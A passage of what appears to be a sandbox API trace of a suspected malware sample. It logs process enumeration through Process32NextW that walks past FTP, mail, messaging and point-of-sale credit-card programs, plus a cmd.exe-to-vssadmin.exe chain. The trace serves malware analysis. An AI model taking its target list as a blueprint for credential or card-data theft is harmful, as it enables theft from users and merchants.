(in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0054.031] lstrlenW (lpString="sppsvc.exe") returned 10 [0054.031] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.032] lstrlenW (lpString="svchost.exe") returned 11 [0054.032] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0054.033] lstrlenW (lpString="barrelsince.exe") returned 15 [0054.034] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0054.035] lstrlenW (lpString="cricket.exe") returned 11 [0054.035] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0054.036] lstrlenW (lpString="angelsalot.exe") returned 14 [0054.036] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0054.037] lstrlenW (lpString="bridge.exe") returned 10 [0054.037] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0054.038] lstrlenW (lpString="sh_shipping.exe") returned 15 [0054.038] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0054.039] lstrlenW (lpString="tobacco packet.exe") returned 18 [0054.039] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0054.040] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0054.040] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0054.041] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0054.041] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0054.042] lstrlenW (lpString="widespread.exe") returned 14 [0054.042] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0054.043] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0054.043] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0054.044] lstrlenW (lpString="zinc.exe") returned 8 [0054.044] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0054.045] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0054.045] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0054.046] lstrlenW (lpString="construction_rice.exe") returned 21 [0054.046] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0054.047] lstrlenW (lpString="mask.exe") returned 8 [0054.047] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0054.048] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0054.048] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0054.049] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0054.049] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0054.052] lstrlenW (lpString="curve standing.exe") returned 18 [0054.052] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0054.236] lstrlenW (lpString="3dftp.exe") returned 9 [0054.236] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0054.265] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0054.265] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0054.266] lstrlenW (lpString="alftp.exe") returned 9 [0054.266] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0054.267] lstrlenW (lpString="barca.exe") returned 9 [0054.267] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0054.268] lstrlenW (lpString="bitkinex.exe") returned 12 [0054.268] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0054.269] lstrlenW (lpString="coreftp.exe") returned 11 [0054.269] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0054.270] lstrlenW (lpString="far.exe") returned 7 [0054.270] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0054.271] lstrlenW (lpString="filezilla.exe") returned 13 [0054.271] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0054.272] lstrlenW (lpString="flashfxp.exe") returned 12 [0054.272] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0054.273] lstrlenW (lpString="fling.exe") returned 9 [0054.273] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0054.274] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0054.274] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0054.275] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0054.275] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0054.276] lstrlenW (lpString="icq.exe") returned 7 [0054.276] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0054.278] lstrlenW (lpString="leechftp.exe") returned 12 [0054.278] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0054.279] lstrlenW (lpString="ncftp.exe") returned 9 [0054.279] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0054.281] lstrlenW (lpString="notepad.exe") returned 11 [0054.281] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0054.282] lstrlenW (lpString="operamail.exe") returned 13 [0054.282] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0054.284] lstrlenW (lpString="pidgin.exe") returned 10 [0054.284] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0054.285] lstrlenW (lpString="scriptftp.exe") returned 13 [0054.285] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0054.287] lstrlenW (lpString="skype.exe") returned 9 [0054.287] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0054.289] lstrlenW (lpString="smartftp.exe") returned 12 [0054.289] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0054.290] lstrlenW (lpString="thunderbird.exe") returned 15 [0054.290] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0054.292] lstrlenW (lpString="totalcmd.exe") returned 12 [0054.292] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0054.293] lstrlenW (lpString="trillian.exe") returned 12 [0054.293] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0054.294] lstrlenW (lpString="webdrive.exe") returned 12 [0054.294] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0054.296] lstrlenW (lpString="whatsapp.exe") returned 12 [0054.296] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0054.297] lstrlenW (lpString="winscp.exe") returned 10 [0054.297] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0054.299] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0054.299] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0054.300] lstrlenW (lpString="active-charge.exe") returned 17 [0054.300] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0054.301] lstrlenW (lpString="accupos.exe") returned 11 [0054.301] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0054.652] lstrlenW (lpString="afr38.exe") returned 9 [0054.652] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0054.654] lstrlenW (lpString="aldelo.exe") returned 10 [0054.654] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0054.655] lstrlenW (lpString="ccv_server.exe") returned 14 [0054.655] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0054.656] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0054.656] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0054.658] lstrlenW (lpString="creditservice.exe") returned 17 [0054.658] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0054.659] lstrlenW (lpString="edcsvr.exe") returned 10 [0054.659] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0054.660] lstrlenW (lpString="fpos.exe") returned 8 [0054.661] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0054.662] lstrlenW (lpString="isspos.exe") returned 10 [0054.662] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0054.664] lstrlenW (lpString="mxslipstream.exe") returned 16 [0054.664] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0054.665] lstrlenW (lpString="omnipos.exe") returned 11 [0054.665] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0054.666] lstrlenW (lpString="spcwin.exe") returned 10 [0054.666] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0054.667] lstrlenW (lpString="spgagentservice.exe") returned 19 [0054.667] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0054.669] lstrlenW (lpString="utg2.exe") returned 8 [0054.669] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="complicatedprivacy.exe")) returned 1 [0054.670] lstrlenW (lpString="complicatedprivacy.exe") returned 22 [0054.670] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="increases.exe")) returned 1 [0054.671] lstrlenW (lpString="increases.exe") returned 13 [0054.671] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.672] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.673] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.674] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.674] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0054.675] lstrlenW (lpString="driver.exe") returned 10 [0054.675] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.676] lstrlenW (lpString="cmd.exe") returned 7 [0054.676] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.678] lstrlenW (lpString="conhost.exe") returned 11 [0054.678] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.679] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.679] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.680] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.680] Process32NextW (in: hSnapshot=0x1c0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, 